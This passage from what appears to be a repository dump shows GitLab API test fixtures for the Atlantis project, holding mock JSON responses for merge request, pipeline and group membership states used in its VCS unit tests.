\"need_rebase\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/group-membership-success.json",
    "content": "{\n  \"access_level\": 50,\n  \"created_at\": \"2023-11-28T01:23:45.789Z\",\n  \"created_by\": {\n    \"id\": 456,\n    \"username\": \"someone\",\n    \"name\": \"Someone\",\n    \"state\": \"active\",\n    \"locked\": false,\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/456/avatar.png\",\n    \"web_url\": \"https://gitlab.com/someone\"\n  },\n  \"expires_at\": null,\n  \"id\": 123,\n  \"username\": \"testuser\",\n  \"name\": \"Test User\",\n  \"state\": \"active\",\n  \"locked\": false,\n  \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/123/avatar.png\",\n  \"web_url\": \"https://gitlab.com/testuser\",\n  \"membership_state\": \"active\"\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/head-pipeline-not-available.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": null,\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/merge-success-with-label.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"merged\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"merged_at\": \"2019-01-25T17:28:01.459Z\",\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [\n    \"work in progress\"\n  ],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": \"c9b336f1c71d3e64810b8cfa2abcfab232d6bff6\",\n  \"user_notes_count\": 0,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": false,\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": false,\n  \"subscribed\": true,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": null,\n  \"latest_build_finished_at\": null,\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": null,\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"approvals_before_merge\": null\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/merge-success.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"merged\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"merged_at\": \"2019-01-25T17:28:01.459Z\",\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": \"c9b336f1c71d3e64810b8cfa2abcfab232d6bff6\",\n  \"user_notes_count\": 0,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": false,\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": false,\n  \"subscribed\": true,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": null,\n  \"latest_build_finished_at\": null,\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": null,\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"approvals_before_merge\": null\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/pipeline-blocking-discussions-unresolved.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": false,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/pipeline-remaining-approvals.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": 2,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/pipeline-success.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\",\n    \"before_sha\": \"0000000000000000000000000000000000000000\",\n    \"tag\": false,\n    \"yaml_errors\": null,\n    \"user\": {\n      \"id\": 1755902,\n      \"name\": \"Luke Kysow\",\n      \"username\": \"lkysow\",\n      \"state\": \"active\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n      \"web_url\": \"https://gitlab.com/lkysow\"\n    },\n    \"started_at\": \"2019-01-15T18:27:29.375Z\",\n    \"finished_at\": \"2019-01-25T17:28:01.437Z\",\n    \"committed_at\": null,\n    \"duration\": 31,\n    \"coverage\": null,\n    \"detailed_status\": {\n      \"icon\": \"status_success\",\n      \"text\": \"passed\",\n      \"label\": \"passed\",\n      \"group\": \"success\",\n      \"tooltip\": \"passed\",\n      \"has_details\": true,\n      \"details_path\": \"/lkysow/atlantis-example/-/pipelines/488598\",\n      \"illustration\": null,\n      \"favicon\": \"/assets/ci_favicons/favicon_status_success-8451333011eee8ce9f2ab25dc487fe24a8758c694827a582f17f42b0a90446a2.png\"\n    }\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"head_sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n    \"start_sha\": \"67cb91d3f6198189f433c045154a885784ba6977\"\n  },\n  \"merge_error\": null,\n  \"first_contribution\": false,\n  \"user\": {\n    \"can_merge\": true\n  }\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/testdata/pipeline-with-pipeline-skipped.json",
    "content": "{\n  \"id\": 22461274,\n  \"iid\": 13,\n  \"project_id\": 4580910,\n  \"title\": \"Update main.tf\",\n  \"description\": \"\",\n  \"state\": \"opened\",\n  \"created_at\": \"2019-01-15T18:27:29.375Z\",\n  \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"target_branch\": \"patch-1\",\n  \"source_branch\": \"patch-1-merger\",\n  \"user_notes_count\": 0,\n  \"upvotes\": 0,\n  \"downvotes\": 0,\n  \"author\": {\n    \"id\": 1755902,\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"state\": \"active\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\",\n    \"web_url\": \"https://gitlab.com/lkysow\"\n  },\n  \"assignee\": null,\n  \"reviewers\": [],\n  \"source_project_id\": 4580910,\n  \"target_project_id\": 4580910,\n  \"labels\": [],\n  \"work_in_progress\": false,\n  \"milestone\": null,\n  \"merge_when_pipeline_succeeds\": false,\n  \"merge_status\": \"can_be_merged\",\n  \"detailed_merge_status\": \"mergeable\",\n  \"sha\": \"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0\",\n  \"merge_commit_sha\": null,\n  \"squash_commit_sha\": null,\n  \"discussion_locked\": null,\n  \"should_remove_source_branch\": null,\n  \"force_remove_source_branch\": true,\n  \"reference\": \"!13\",\n  \"references\": {\n    \"short\": \"!13\",\n    \"relative\": \"!13\",\n    \"full\": \"lkysow/atlantis-example!13\"\n  },\n  \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/merge_requests/13\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": true,\n  \"task_completion_status\": {\n    \"count\": 0,\n    \"completed_count\": 0\n  },\n  \"has_conflicts\": false,\n  \"blocking_discussions_resolved\": true,\n  \"approvals_before_merge\": null,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"latest_build_started_at\": \"2019-01-15T18:27:29.375Z\",\n  \"latest_build_finished_at\": \"2019-01-25T17:28:01.437Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 488598,\n    \"sha\": \"67cb91d3f6198189f433c045154a885784ba6977\",\n    \"ref\": \"patch-1-merger\",\n    \"status\": \"success\",\n    \"created_at\": \"2019-01-15T18:27:29.375Z\",\n    \"updated_at\": \"2019-01-25T17:28:01.437Z\",\n    \"web_url\": \"https://gitlab.com/lkysow/atlantis-example/-/pipelines/488598\"\n  },\n  \"head_pipeline\": {\n    \"id\": 488598,\n    \"sha\": 